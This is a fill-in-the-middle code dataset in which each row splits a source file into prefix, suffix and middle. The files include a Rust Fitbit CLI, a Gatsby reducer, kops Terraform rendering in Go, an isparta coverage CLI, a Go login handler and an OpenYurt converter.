file_name
stringlengths
3
137
prefix
stringlengths
0
918k
suffix
stringlengths
0
962k
middle
stringlengths
0
812k
activity.rs
//! Activity argument parsing use crate::Command; use clap::{App, AppSettings, ArgMatches, SubCommand}; pub(super) const BASE: &'static str = "activity"; pub(super) const BASE_GOALS: &'static str = "goals"; pub(super) const BASE_LIFETIME_STATS: &'static str = "lifetime_stats"; pub(super) const BASE_SUMMARY: &'static str = "summary"; pub(super) const BASE_TS: &'static str = "time_series"; pub(super) const BASE_TS_CALORIES: &'static str = "calories"; pub(super) const BASE_TS_CALORIES_BMR: &'static str = "calories_bmr"; pub(super) const BASE_TS_STEPS: &'static str = "steps"; pub(super) const BASE_TS_DISTANCE: &'static str = "distance"; pub(super) const BASE_TS_FLOORS: &'static str = "floors"; pub(super) const BASE_TS_ELEVATION: &'static str = "elevation"; pub(super) const BASE_TS_SEDENTARY: &'static str = "sedentary"; pub(super) const BASE_TS_LIGHTLY_ACTIVE: &'static str = "lightly_active"; pub(super) const BASE_TS_FAIRLY_ACTIVE: &'static str = "fairly_active"; pub(super) const BASE_TS_VERY_ACTIVE: &'static str = "very_active"; pub(super) const BASE_TS_ACTIVITY_CALORIES: &'static str = "activity_calories"; pub(super) fn app() -> App<'static, 'static> { App::new(BASE) .about("User activity data commands") .setting(AppSettings::SubcommandRequiredElseHelp) .subcommand( SubCommand::with_name(BASE_GOALS).about("Print a summary of the user's activity goals"), ) .subcommand( SubCommand::with_name(BASE_LIFETIME_STATS) .about("Print a summary of the user's lifetime activity statistics"), ) .subcommand( SubCommand::with_name(BASE_SUMMARY) .about("Print a summary of the user's recent activities"), ) .subcommand( SubCommand::with_name(BASE_TS) .about("User activity time series data commands") .setting(AppSettings::SubcommandRequiredElseHelp) .subcommand( SubCommand::with_name(BASE_TS_CALORIES) .about("Print calories time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_CALORIES_BMR) .about("Print calories BMR time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_STEPS).about("Print steps time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_DISTANCE) .about("Print distance time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_FLOORS).about("Print floors time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_ELEVATION) .about("Print elevation time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_SEDENTARY) .about("Print minutes sedentary time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_LIGHTLY_ACTIVE) .about("Print lightly active time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_FAIRLY_ACTIVE) .about("Print fairly active time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_VERY_ACTIVE) .about("Print very active time series data"), ) .subcommand( SubCommand::with_name(BASE_TS_ACTIVITY_CALORIES) .about("Print activity calories time series data"), ), ) } pub(super) fn get_command(matches: &ArgMatches) -> Command { match matches.subcommand() { (BASE_GOALS, Some(_)) => Command::GetActivityGoals, (BASE_LIFETIME_STATS, Some(_)) => Command::GetActivityLifetimeStats, (BASE_SUMMARY, Some(_)) => Command::GetActivitySummary, (BASE_TS, Some(activity_ts_matches)) => { use fitbit_web_api::activity::time_series::Resource; match activity_ts_matches.subcommand() { (BASE_TS_CALORIES, Some(_)) => Command::GetActivityTimeSeries(Resource::Calories), (BASE_TS_CALORIES_BMR, Some(_)) => { Command::GetActivityTimeSeries(Resource::CaloriesBMR) } (BASE_TS_STEPS, Some(_)) => Command::GetActivityTimeSeries(Resource::Steps), (BASE_TS_DISTANCE, Some(_)) => Command::GetActivityTimeSeries(Resource::Distance), (BASE_TS_FLOORS, Some(_)) => Command::GetActivityTimeSeries(Resource::Floors), (BASE_TS_ELEVATION, Some(_)) => Command::GetActivityTimeSeries(Resource::Elevation), (BASE_TS_SEDENTARY, Some(_)) => Command::GetActivityTimeSeries(Resource::Sedentary), (BASE_TS_LIGHTLY_ACTIVE, Some(_)) =>
(BASE_TS_FAIRLY_ACTIVE, Some(_)) => { Command::GetActivityTimeSeries(Resource::FairlyActive) } (BASE_TS_VERY_ACTIVE, Some(_)) => { Command::GetActivityTimeSeries(Resource::VeryActive) } (BASE_TS_ACTIVITY_CALORIES, Some(_)) => { Command::GetActivityTimeSeries(Resource::ActivityCalories) } ("", None) => super::invalid_command_exit(), _ => unreachable!(), } } ("", None) => super::invalid_command_exit(), _ => unreachable!(), } }
{ Command::GetActivityTimeSeries(Resource::LightlyActive) }
client-visited-page.ts
import { IGatsbyState, IDeleteCacheAction, ICreateClientVisitedPage, } from "../types" // The develop server always wants these page components. const defaults = new Set<string>() defaults.add(`component---cache-dev-404-page-js`) defaults.add(`component---src-pages-404-js`) export const clientVisitedPageReducer = ( state: IGatsbyState["clientVisitedPages"] = new Set<string>(defaults),
action: IDeleteCacheAction | ICreateClientVisitedPage ): IGatsbyState["clientVisitedPages"] => { switch (action.type) { case `DELETE_CACHE`: return new Set<string>(defaults) case `CREATE_CLIENT_VISITED_PAGE`: { state.add(action.payload.componentChunkName) return state } default: return state } }
extractUsedParamsSpec.ts
import * as msgFormatParser from "../src/msgFormatParser"; import * as extractUsedParams from "../src/extractUsedParams"; describe('Params Extractor', () => { function check(msg: string, result: any) { let ast = msgFormatParser.parse(msg); let params = extractUsedParams.extractUsedParams(ast); expect(params).toEqual(result); } it('all extract', () => { check('', []); check('Hello {a}!', ['a']);
check('{arg, number}', ['arg']); check('{arg, time, relative}', ['arg']); check('{arg, date, custom, format: {D*M*Y} }', ['arg']); check('{floor, selectordinal, =0{ground} one{#st} two{#nd} few{#rd} other{#th}} floor', ['floor']); check(`{gender_of_host, select, female {{ num_guests, plural, offset:1 =0 {{host} does not give a party.} =1 {{host} invites {guest} to her party.} =2 {{host} invites {guest} and one other person to her party.} other {{host} invites {guest} and # other people to her party.} }} male {{ num_guests, plural, offset:1 =0 {{host} does not give a party.} =1 {{host} invites {guest} to his party.} =2 {{host} invites {guest} and one other person to his party.} other {{host} invites {guest} and # other people to his party.} }} other {{ num_guests, plural, offset:1 =0 {{host} does not give a party.} =1 {{host} invites {guest} to their party.} =2 {{host} invites {guest} and one other person to their party.} other {{host} invites {guest} and # other people to their party.} }} }`, ['gender_of_host', 'guest', 'host', 'num_guests']); }); });
check('Hello {a} and {b}!', ['a', 'b']); check('Hello {b} and {a}!', ['a', 'b']);
test017.rs
fn
() { let JIA3 = 3.0; let _ans1 = 5.0; let _ans2 = 2.0; let _ans3 = _ans2 + 5.0; }
main
transformers.ts
import { Allocation } from '@/api/server/getServer'; import { FractalResponseData } from '@/api/http'; import { FileObject } from '@/api/server/files/loadDirectory'; import { ServerAuditLog, ServerBackup, ServerEggVariable } from '@/api/server/types'; export const rawDataToServerAllocation = (data: FractalResponseData): Allocation => ({ id: data.attributes.id, ip: data.attributes.ip, alias: data.attributes.ip_alias, port: data.attributes.port, notes: data.attributes.notes, isDefault: data.attributes.is_default, }); export const rawDataToFileObject = (data: FractalResponseData): FileObject => ({ key: `${data.attributes.is_file ? 'file' : 'dir'}_${data.attributes.name}`, name: data.attributes.name, mode: data.attributes.mode, modeBits: data.attributes.mode_bits, size: Number(data.attributes.size), isFile: data.attributes.is_file, isSymlink: data.attributes.is_symlink, mimetype: data.attributes.mimetype, createdAt: new Date(data.attributes.created_at), modifiedAt: new Date(data.attributes.modified_at),
isArchiveType: function () { return this.isFile && [ 'application/vnd.rar', // .rar 'application/x-rar-compressed', // .rar (2) 'application/x-tar', // .tar 'application/x-br', // .tar.br 'application/x-bzip2', // .tar.bz2, .bz2 'application/gzip', // .tar.gz, .gz 'application/x-gzip', 'application/x-lzip', // .tar.lz4, .lz4 (not sure if this mime type is correct) 'application/x-sz', // .tar.sz, .sz (not sure if this mime type is correct) 'application/x-xz', // .tar.xz, .xz 'application/zstd', // .tar.zst, .zst 'application/zip', // .zip ].indexOf(this.mimetype) >= 0; }, isEditable: function () { if (this.isArchiveType() || !this.isFile) return false; const matches = [ 'application/jar', 'application/octet-stream', 'inode/directory', /^image\//, ]; return matches.every(m => !this.mimetype.match(m)); }, }) export const rawDataToServerAuditLog = ({ attributes }: FractalResponseData): ServerAuditLog => ({ uuid: attributes.uuid, user: attributes.user, action: attributes.action, device: attributes.device, metadata: attributes.metadata, isSystem: attributes.is_system, createdAt: new Date(attributes.created_at), }); export const rawDataToServerBackup = ({ attributes }: FractalResponseData): ServerBackup => ({ uuid: attributes.uuid, isSuccessful: attributes.is_successful, isLocked: attributes.is_locked, name: attributes.name, ignoredFiles: attributes.ignored_files, checksum: attributes.checksum, bytes: attributes.bytes, createdAt: new Date(attributes.created_at), completedAt: attributes.completed_at ? new Date(attributes.completed_at) : null, }); export const rawDataToServerEggVariable = ({ attributes }: FractalResponseData): ServerEggVariable => ({ name: attributes.name, description: attributes.description, envVariable: attributes.env_variable, defaultValue: attributes.default_value, serverValue: attributes.server_value, isEditable: attributes.is_editable, rules: attributes.rules.split('|'), });
_0108_convert_sorted_array_binary_search_tree.rs
struct Solution; #[derive(PartialEq, Eq, Debug)] struct TreeNode { val: i32, left: Tree, right: Tree, } impl TreeNode { fn branch(val: i32, left: Tree, right: Tree) -> Tree { Some(Rc::new(RefCell::new(TreeNode { val, left, right }))) } fn leaf(val: i32) -> Tree { Some(Rc::new(RefCell::new(TreeNode { val, left: None, right: None, }))) } } use std::cell::RefCell; use std::rc::Rc; type Tree = Option<Rc<RefCell<TreeNode>>>; impl Solution { fn sorted_array_to_bst(nums: Vec<i32>) -> Tree { let n = nums.len(); match n { 0 => None, 1 => TreeNode::leaf(nums[0]), _ => { let mid = n / 2; let left = nums[..mid].to_vec(); let right = nums[mid + 1..].to_vec(); TreeNode::branch( nums[mid], Solution::sorted_array_to_bst(left), Solution::sorted_array_to_bst(right),
) } } } } #[test] fn test() { let nums = vec![-10, -3, 0, 5, 9]; let bst = TreeNode::branch( 0, TreeNode::branch(-3, TreeNode::leaf(-10), None), TreeNode::branch(9, TreeNode::leaf(5), None), ); assert_eq!(Solution::sorted_array_to_bst(nums), bst); }
launchtemplate_target_terraform.go
/* Copyright 2019 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package awstasks import ( "encoding/base64" "k8s.io/kops/pkg/featureflag" "k8s.io/kops/upup/pkg/fi" "k8s.io/kops/upup/pkg/fi/cloudup/awsup" "k8s.io/kops/upup/pkg/fi/cloudup/terraform" ) type terraformLaunchTemplateNetworkInterface struct { // AssociatePublicIPAddress associates a public ip address with the network interface. Boolean value. AssociatePublicIPAddress *bool `json:"associate_public_ip_address,omitempty" cty:"associate_public_ip_address"` // DeleteOnTermination indicates whether the network interface should be destroyed on instance termination. DeleteOnTermination *bool `json:"delete_on_termination,omitempty" cty:"delete_on_termination"` // SecurityGroups is a list of security group ids. SecurityGroups []*terraform.Literal `json:"security_groups,omitempty" cty:"security_groups"` } type terraformLaunchTemplateMonitoring struct { // Enabled indicates that monitoring is enabled Enabled *bool `json:"enabled,omitempty" cty:"enabled"` } type terraformLaunchTemplatePlacement struct { // Affinity is he affinity setting for an instance on a Dedicated Host. Affinity *string `json:"affinity,omitempty" cty:"affinity"` // AvailabilityZone is the Availability Zone for the instance. AvailabilityZone *string `json:"availability_zone,omitempty" cty:"availability_zone"` // GroupName is the name of the placement group for the instance. GroupName *string `json:"group_name,omitempty" cty:"group_name"` // HostID is the ID of the Dedicated Host for the instance. HostID *string `json:"host_id,omitempty" cty:"host_id"` // SpreadDomain are reserved for future use. SpreadDomain *string `json:"spread_domain,omitempty" cty:"spread_domain"` // Tenancy ist he tenancy of the instance. Can be default, dedicated, or host. Tenancy *string `json:"tenancy,omitempty" cty:"tenancy"` } type terraformLaunchTemplateIAMProfile struct { // Name is the name of the profile Name *terraform.Literal `json:"name,omitempty" cty:"name"` } type terraformLaunchTemplateMarketOptionsSpotOptions struct { // BlockDurationMinutes is required duration in minutes. This value must be a multiple of 60. BlockDurationMinutes *int64 `json:"block_duration_minutes,omitempty" cty:"block_duration_minutes"` // InstanceInterruptionBehavior is the behavior when a Spot Instance is interrupted. Can be hibernate, stop, or terminate InstanceInterruptionBehavior *string `json:"instance_interruption_behavior,omitempty" cty:"instance_interruption_behavior"`
// MaxPrice is the maximum hourly price you're willing to pay for the Spot Instances MaxPrice *string `json:"max_price,omitempty" cty:"max_price"` // SpotInstanceType is the Spot Instance request type. Can be one-time, or persistent SpotInstanceType *string `json:"spot_instance_type,omitempty" cty:"spot_instance_type"` // ValidUntil is the end date of the request ValidUntil *string `json:"valid_until,omitempty" cty:"valid_until"` } type terraformLaunchTemplateMarketOptions struct { // MarketType is the option type MarketType *string `json:"market_type,omitempty" cty:"market_type"` // SpotOptions are the set of options SpotOptions []*terraformLaunchTemplateMarketOptionsSpotOptions `json:"spot_options,omitempty" cty:"spot_options"` } type terraformLaunchTemplateBlockDeviceEBS struct { // VolumeType is the ebs type to use VolumeType *string `json:"volume_type,omitempty" cty:"volume_type"` // VolumeSize is the volume size VolumeSize *int64 `json:"volume_size,omitempty" cty:"volume_size"` // IOPS is the provisioned iops IOPS *int64 `json:"iops,omitempty" cty:"iops"` // DeleteOnTermination indicates the volume should die with the instance DeleteOnTermination *bool `json:"delete_on_termination,omitempty" cty:"delete_on_termination"` // Encrypted indicates the device should be encrypted Encrypted *bool `json:"encrypted,omitempty" cty:"encrypted"` // KmsKeyID is the encryption key identifier for the volume KmsKeyID *string `json:"kms_key_id,omitempty" cty:"kms_key_id"` } type terraformLaunchTemplateBlockDevice struct { // DeviceName is the name of the device DeviceName *string `json:"device_name,omitempty" cty:"device_name"` // VirtualName is used for the ephemeral devices VirtualName *string `json:"virtual_name,omitempty" cty:"virtual_name"` // EBS defines the ebs spec EBS []*terraformLaunchTemplateBlockDeviceEBS `json:"ebs,omitempty" cty:"ebs"` } type terraformLaunchTemplateTagSpecification struct { // ResourceType is the type of resource to tag. ResourceType *string `json:"resource_type,omitempty" cty:"resource_type"` // Tags are the tags to apply to the resource. Tags map[string]string `json:"tags,omitempty" cty:"tags"` } type terraformLaunchTemplateInstanceMetadata struct { // HTTPEndpoint enables or disables the HTTP metadata endpoint on instances. HTTPEndpoint *string `json:"http_endpoint,omitempty" cty:"http_endpoint"` // HTTPPutResponseHopLimit is the desired HTTP PUT response hop limit for instance metadata requests. HTTPPutResponseHopLimit *int64 `json:"http_put_response_hop_limit,omitempty" cty:"http_put_response_hop_limit"` // HTTPTokens is the state of token usage for your instance metadata requests. HTTPTokens *string `json:"http_tokens,omitempty" cty:"http_tokens"` } type terraformLaunchTemplate struct { // Name is the name of the launch template Name *string `json:"name,omitempty" cty:"name"` // Lifecycle is the terraform lifecycle Lifecycle *terraform.Lifecycle `json:"lifecycle,omitempty" cty:"lifecycle"` // BlockDeviceMappings is the device mappings BlockDeviceMappings []*terraformLaunchTemplateBlockDevice `json:"block_device_mappings,omitempty" cty:"block_device_mappings"` // EBSOptimized indicates if the root device is ebs optimized EBSOptimized *bool `json:"ebs_optimized,omitempty" cty:"ebs_optimized"` // IAMInstanceProfile is the IAM profile to assign to the nodes IAMInstanceProfile []*terraformLaunchTemplateIAMProfile `json:"iam_instance_profile,omitempty" cty:"iam_instance_profile"` // ImageID is the ami to use for the instances ImageID *string `json:"image_id,omitempty" cty:"image_id"` // InstanceType is the type of instance InstanceType *string `json:"instance_type,omitempty" cty:"instance_type"` // KeyName is the ssh key to use KeyName *terraform.Literal `json:"key_name,omitempty" cty:"key_name"` // MarketOptions are the spot pricing options MarketOptions []*terraformLaunchTemplateMarketOptions `json:"instance_market_options,omitempty" cty:"instance_market_options"` // MetadataOptions are the instance metadata options. MetadataOptions *terraformLaunchTemplateInstanceMetadata `json:"metadata_options,omitempty" cty:"metadata_options"` // Monitoring are the instance monitoring options Monitoring []*terraformLaunchTemplateMonitoring `json:"monitoring,omitempty" cty:"monitoring"` // NetworkInterfaces are the networking options NetworkInterfaces []*terraformLaunchTemplateNetworkInterface `json:"network_interfaces,omitempty" cty:"network_interfaces"` // Placement are the tenancy options Placement []*terraformLaunchTemplatePlacement `json:"placement,omitempty" cty:"placement"` // Tags is a map of tags applied to the launch template itself Tags map[string]string `json:"tags,omitempty" cty:"tags"` // TagSpecifications are the tags to apply to a resource when it is created. TagSpecifications []*terraformLaunchTemplateTagSpecification `json:"tag_specifications,omitempty" cty:"tag_specifications"` // UserData is the user data for the instances UserData *terraform.Literal `json:"user_data,omitempty" cty:"user_data"` } // TerraformLink returns the terraform reference func (t *LaunchTemplate) TerraformLink() *terraform.Literal { return terraform.LiteralProperty("aws_launch_template", fi.StringValue(t.Name), "id") } // VersionLink returns the terraform version reference func (t *LaunchTemplate) VersionLink() *terraform.Literal { return terraform.LiteralProperty("aws_launch_template", fi.StringValue(t.Name), "latest_version") } // RenderTerraform is responsible for rendering the terraform json func (t *LaunchTemplate) RenderTerraform(target *terraform.TerraformTarget, a, e, changes *LaunchTemplate) error { var err error cloud := target.Cloud.(awsup.AWSCloud) var image *string if e.ImageID != nil { im, err := cloud.ResolveImage(fi.StringValue(e.ImageID)) if err != nil { return err } image = im.ImageId } tf := terraformLaunchTemplate{ Name: e.Name, EBSOptimized: e.RootVolumeOptimization, ImageID: image, InstanceType: e.InstanceType, Lifecycle: &terraform.Lifecycle{CreateBeforeDestroy: fi.Bool(true)}, MetadataOptions: &terraformLaunchTemplateInstanceMetadata{ // See issue https://github.com/hashicorp/terraform-provider-aws/issues/12564. HTTPEndpoint: fi.String("enabled"), HTTPTokens: e.HTTPTokens, HTTPPutResponseHopLimit: e.HTTPPutResponseHopLimit, }, NetworkInterfaces: []*terraformLaunchTemplateNetworkInterface{ { AssociatePublicIPAddress: e.AssociatePublicIP, DeleteOnTermination: fi.Bool(true), }, }, } if fi.StringValue(e.SpotPrice) != "" { marketSpotOptions := terraformLaunchTemplateMarketOptionsSpotOptions{MaxPrice: e.SpotPrice} if e.SpotDurationInMinutes != nil { marketSpotOptions.BlockDurationMinutes = e.SpotDurationInMinutes } if e.InstanceInterruptionBehavior != nil { marketSpotOptions.InstanceInterruptionBehavior = e.InstanceInterruptionBehavior } tf.MarketOptions = []*terraformLaunchTemplateMarketOptions{ { MarketType: fi.String("spot"), SpotOptions: []*terraformLaunchTemplateMarketOptionsSpotOptions{&marketSpotOptions}, }, } } for _, x := range e.SecurityGroups { tf.NetworkInterfaces[0].SecurityGroups = append(tf.NetworkInterfaces[0].SecurityGroups, x.TerraformLink()) } if e.SSHKey != nil { tf.KeyName = e.SSHKey.TerraformLink() } if e.Tenancy != nil { tf.Placement = []*terraformLaunchTemplatePlacement{{Tenancy: e.Tenancy}} } if e.InstanceMonitoring != nil { tf.Monitoring = []*terraformLaunchTemplateMonitoring{ {Enabled: e.InstanceMonitoring}, } } if e.IAMInstanceProfile != nil { tf.IAMInstanceProfile = []*terraformLaunchTemplateIAMProfile{ {Name: e.IAMInstanceProfile.TerraformLink()}, } } if e.UserData != nil { d, err := fi.ResourceAsBytes(e.UserData) if err != nil { return err } if d != nil { if featureflag.TerraformJSON.Enabled() { b64d := base64.StdEncoding.EncodeToString(d) if b64d != "" { b64UserDataResource := fi.NewStringResource(b64d) tf.UserData, err = target.AddFile("aws_launch_template", fi.StringValue(e.Name), "user_data", b64UserDataResource, false) if err != nil { return err } } } else { userDataResource := fi.NewBytesResource(d) tf.UserData, err = target.AddFile("aws_launch_template", fi.StringValue(e.Name), "user_data", userDataResource, true) if err != nil { return err } } } } devices, err := e.buildRootDevice(cloud) if err != nil { return err } for n, x := range devices { tf.BlockDeviceMappings = append(tf.BlockDeviceMappings, &terraformLaunchTemplateBlockDevice{ DeviceName: fi.String(n), EBS: []*terraformLaunchTemplateBlockDeviceEBS{ { DeleteOnTermination: fi.Bool(true), Encrypted: x.EbsEncrypted, KmsKeyID: x.EbsKmsKey, IOPS: x.EbsVolumeIops, VolumeSize: x.EbsVolumeSize, VolumeType: x.EbsVolumeType, }, }, }) } additionals, err := buildAdditionalDevices(e.BlockDeviceMappings) if err != nil { return err } for n, x := range additionals { tf.BlockDeviceMappings = append(tf.BlockDeviceMappings, &terraformLaunchTemplateBlockDevice{ DeviceName: fi.String(n), EBS: []*terraformLaunchTemplateBlockDeviceEBS{ { DeleteOnTermination: fi.Bool(true), Encrypted: x.EbsEncrypted, IOPS: x.EbsVolumeIops, KmsKeyID: x.EbsKmsKey, VolumeSize: x.EbsVolumeSize, VolumeType: x.EbsVolumeType, }, }, }) } devices, err = buildEphemeralDevices(cloud, fi.StringValue(e.InstanceType)) if err != nil { return err } for n, x := range devices { tf.BlockDeviceMappings = append(tf.BlockDeviceMappings, &terraformLaunchTemplateBlockDevice{ VirtualName: x.VirtualName, DeviceName: fi.String(n), }) } if e.Tags != nil { tf.TagSpecifications = append(tf.TagSpecifications, &terraformLaunchTemplateTagSpecification{ ResourceType: fi.String("instance"), Tags: e.Tags, }) tf.TagSpecifications = append(tf.TagSpecifications, &terraformLaunchTemplateTagSpecification{ ResourceType: fi.String("volume"), Tags: e.Tags, }) tf.Tags = e.Tags } return target.RenderResource("aws_launch_template", fi.StringValue(e.Name), tf) }
cli.js
// 'use strict'; function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } var _fs = require('fs'); var _path = require('path'); var _path2 = _interopRequireDefault(_path); var _module2 = require('module'); var _module3 = _interopRequireDefault(_module2); // var _which = require('which'); var _which2 = _interopRequireDefault(_which); var _mkdirp = require('mkdirp'); var _mkdirp2 = _interopRequireDefault(_mkdirp); var _lodashPartial = require('lodash.partial'); var _lodashPartial2 = _interopRequireDefault(_lodashPartial); var _nomnom = require('nomnom'); var _nomnom2 = _interopRequireDefault(_nomnom); var _istanbul = require('istanbul'); var _instrumenter = require('./instrumenter');
// // _nomnom2['default'].command('cover').help("transparently adds coverage information to a node command. Saves coverage.json and reports at the end of execution").option('cmd', { required: true, position: 1, help: 'ES6 js files to cover (using babel)' }).option('config', { metavar: '<path-to-config>', help: 'the configuration file to use, defaults to .istanbul.yml' }).option('report', { 'default': 'lcv', metavar: '<format>', list: true, help: 'report format, defaults to [\'lcv\']' }).option('root', { metavar: '<path>', help: 'the root path to look for files to instrument, defaults to .' }).option('include', { 'default': ['**/*.js'], metavar: '<include-pattern>', list: true, abbr: 'i', help: 'one or more fileset patterns e.g. \'**/*.js\'' }).option('verbose', { flag: true, abbr: 'v', help: 'verbose mode' }).callback(function (opts) { var args = opts._, files = [], cmdArgs = []; args.forEach(function (arg) { var file = lookupFiles(arg); if (file) files = files.concat(file); }); opts.include = opts.include.concat(files); coverCmd(opts); }); ; _nomnom2['default'].nom(); function lookupFiles(path) { if ((0, _fs.existsSync)(path)) { var stat = (0, _fs.statSync)(path); if (stat.isFile()) return path; } } function callback(err) { if (err) { console.error(err); process.exit(1); } process.exit(0); } function coverCmd(opts) { var config = overrideConfigWith(opts); var reporter = new _istanbul.Reporter(config); var cmd = opts.cmd; var cmdArgs = opts['--'] || []; if (!(0, _fs.existsSync)(cmd)) { try { cmd = _which2['default'].sync(cmd); } catch (ex) { return callback('Unable to resolve file [' + cmd + ']'); } } else { cmd = _path2['default'].resolve(cmd); } if (opts.verbose) console.error('Isparta options : \n ', opts); var excludes = config.instrumentation.excludes(true); enableHooks(); //// function overrideConfigWith(opts) { var overrides = { verbose: opts.verbose, instrumentation: { root: opts.root, 'default-excludes': opts['default-excludes'], excludes: opts.x, 'include-all-sources': opts['include-all-sources'], 'preload-sources': opts['preload-sources'] }, reporting: { reports: opts.report, print: opts.print, dir: opts.dir }, hooks: { 'hook-run-in-context': opts['hook-run-in-context'], 'post-require-hook': opts['post-require-hook'], 'handle-sigint': opts['handle-sigint'] } }; return _istanbul.config.loadFile(opts.config, overrides); } function enableHooks() { opts.reportingDir = _path2['default'].resolve(config.reporting.dir()); _mkdirp2['default'].sync(opts.reportingDir); reporter.addAll(config.reporting.reports()); if (config.reporting.print() !== 'none') { switch (config.reporting.print()) { case 'detail': reporter.add('text'); break; case 'both': reporter.add('text'); reporter.add('text-summary'); break; default: reporter.add('text-summary'); break; } } excludes.push(_path2['default'].relative(process.cwd(), _path2['default'].join(opts.reportingDir, '**', '*'))); (0, _istanbul.matcherFor)({ root: config.instrumentation.root() || process.cwd(), includes: opts.include, excludes: excludes }, function (err, matchFn) { if (err) { return callback(err); } prepareCoverage(matchFn); runCommandFn(); }); } function prepareCoverage(matchFn) { var coverageVar = '$$cov_' + Date.now() + '$$'; var instrumenter = new _instrumenter.Instrumenter({ coverageVariable: coverageVar }); var transformer = instrumenter.instrumentSync.bind(instrumenter); _istanbul.hook.hookRequire(matchFn, transformer, Object.assign({ verbose: opts.verbose }, config.instrumentation.config)); global[coverageVar] = {}; if (config.hooks.handleSigint()) { process.once('SIGINT', process.exit); } process.once('exit', function (code) { if (code) { process.exit(code); } var file = _path2['default'].resolve(opts.reportingDir, 'coverage.json'); var cov = undefined, collector = undefined; if (typeof global[coverageVar] === 'undefined' || Object.keys(global[coverageVar]).length === 0) { console.error('No coverage information was collected, exit without writing coverage information'); return; } else { cov = global[coverageVar]; } _mkdirp2['default'].sync(opts.reportingDir); if (config.reporting.print() !== 'none') { console.error(Array(80 + 1).join('=')); console.error('Writing coverage object [' + file + ']'); } (0, _fs.writeFileSync)(file, JSON.stringify(cov), 'utf8'); collector = new _istanbul.Collector(); collector.add(cov); if (config.reporting.print() !== 'none') { console.error('Writing coverage reports at [' + opts.reportingDir + ']'); console.error(Array(80 + 1).join('=')); } reporter.write(collector, true, callback); }); if (config.instrumentation.includeAllSources()) { matchFn.files.forEach(function (file) { if (opts.verbose) { console.error('Preload ' + file); } try { require(file); } catch (ex) { if (opts.verbose) { console.error('Unable to preload ' + file); } // swallow } }); } } function runCommandFn() { process.argv = ["node", cmd].concat(cmdArgs); if (opts.verbose) { console.log('Running: ' + process.argv.join(' ')); } process.env.running_under_istanbul = 1; _module3['default'].runMain(cmd, null, true); } }
user.go
package usercontrl import ( "context" "focus/cfg" userserv "focus/serv/user" "focus/types" userconsts "focus/types/consts/user" "focus/types/member" aesutil "focus/util/aes" "net/http" "strconv" "strings" ) var Login = types.NewController(types.ApiV1+"/user/login", http.MethodGet, login) func login(ctx context.Context, rw http.ResponseWriter, req *http.Request) { params := req.URL.Query() username := strings.TrimSpace(params.Get("username")) if username == "" { types.InvalidParamPanic("username can't be empty!") } passwd := strings.TrimSpace(params.Get("passwd")) if passwd == "" { types.InvalidParamPanic("passwd can't be empty!") } ctx = context.WithValue(ctx, "userlogin", &membertype.MemberLoginReq{Username: username, Passwd: passwd}) user := userserv.CheckUserExistsBypwd(ctx) accessToken, err := aesutil.Encrypt(cfg.FocusCtx.Cfg.Server.SecretKey.AesKey, strings.Join([]string{ strconv.FormatInt(user.ID, 10), user.UserName, }, ":")) if err != nil { panic(err) } writeUserCookie(rw, accessToken) types.NewRestRestResponse(rw, &membertype.MemberLoginRes{UserId: user.ID}) } func
(rw http.ResponseWriter, accessToken string) { http.SetCookie(rw, &http.Cookie{ Name: userconsts.AccessToken, Value: accessToken, Path: types.ApiV1, MaxAge: 60 * 60 * 24, }) }
writeUserCookie
converter.go
/* Copyright 2022 The OpenYurt Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package kindinit import ( "context" "fmt" "os" "strconv" "time" batchv1 "k8s.io/api/batch/v1" apierrors "k8s.io/apimachinery/pkg/api/errors" v1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/client-go/kubernetes" bootstrapapi "k8s.io/cluster-bootstrap/token/api" "k8s.io/klog/v2" nodeservant "github.com/openyurtio/openyurt/pkg/node-servant" kubeadmapi "github.com/openyurtio/openyurt/pkg/yurtctl/kubernetes/kubeadm/app/phases/bootstraptoken/clusterinfo" "github.com/openyurtio/openyurt/pkg/yurtctl/lock" kubeutil "github.com/openyurtio/openyurt/pkg/yurtctl/util/kubernetes" strutil "github.com/openyurtio/openyurt/pkg/yurtctl/util/strings" "github.com/openyurtio/openyurt/pkg/yurthub/util" ) const ( // defaultYurthubHealthCheckTimeout defines the default timeout for yurthub health check phase defaultYurthubHealthCheckTimeout = 2 * time.Minute ) type ClusterConverter struct { ClientSet *kubernetes.Clientset CloudNodes []string EdgeNodes []string WaitServantJobTimeout time.Duration YurthubHealthCheckTimeout time.Duration PodManifestPath string KubeConfigPath string YurtTunnelAgentImage string YurtTunnelServerImage string YurtControllerManagerImage string NodeServantImage string YurthubImage string } func (c *ClusterConverter) Run() error { if err := lock.AcquireLock(c.ClientSet); err != nil { return err } defer func() { if releaseLockErr := lock.ReleaseLock(c.ClientSet); releaseLockErr != nil { klog.Error(releaseLockErr) } }() klog.Info("Add edgework label and autonomy annotation to edge nodes") if err := c.labelEdgeNodes(); err != nil { klog.Errorf("failed to label and annotate edge nodes, %s", err) return err } klog.Info("Deploying yurt-controller-manager") if err := kubeutil.DeployYurtControllerManager(c.ClientSet, c.YurtControllerManagerImage); err != nil { klog.Errorf("failed to deploy yurt-controller-manager with image %s, %s", c.YurtControllerManagerImage, err) return err } klog.Info("Deploying yurt-tunnel") if err := c.deployYurtTunnel(); err != nil { klog.Errorf("failed to deploy yurt tunnel, %v", err) return err } klog.Info("Running jobs for convert. Job running may take a long time, and job failure will not affect the execution of the next stage") //disable native node-lifecycle-controller 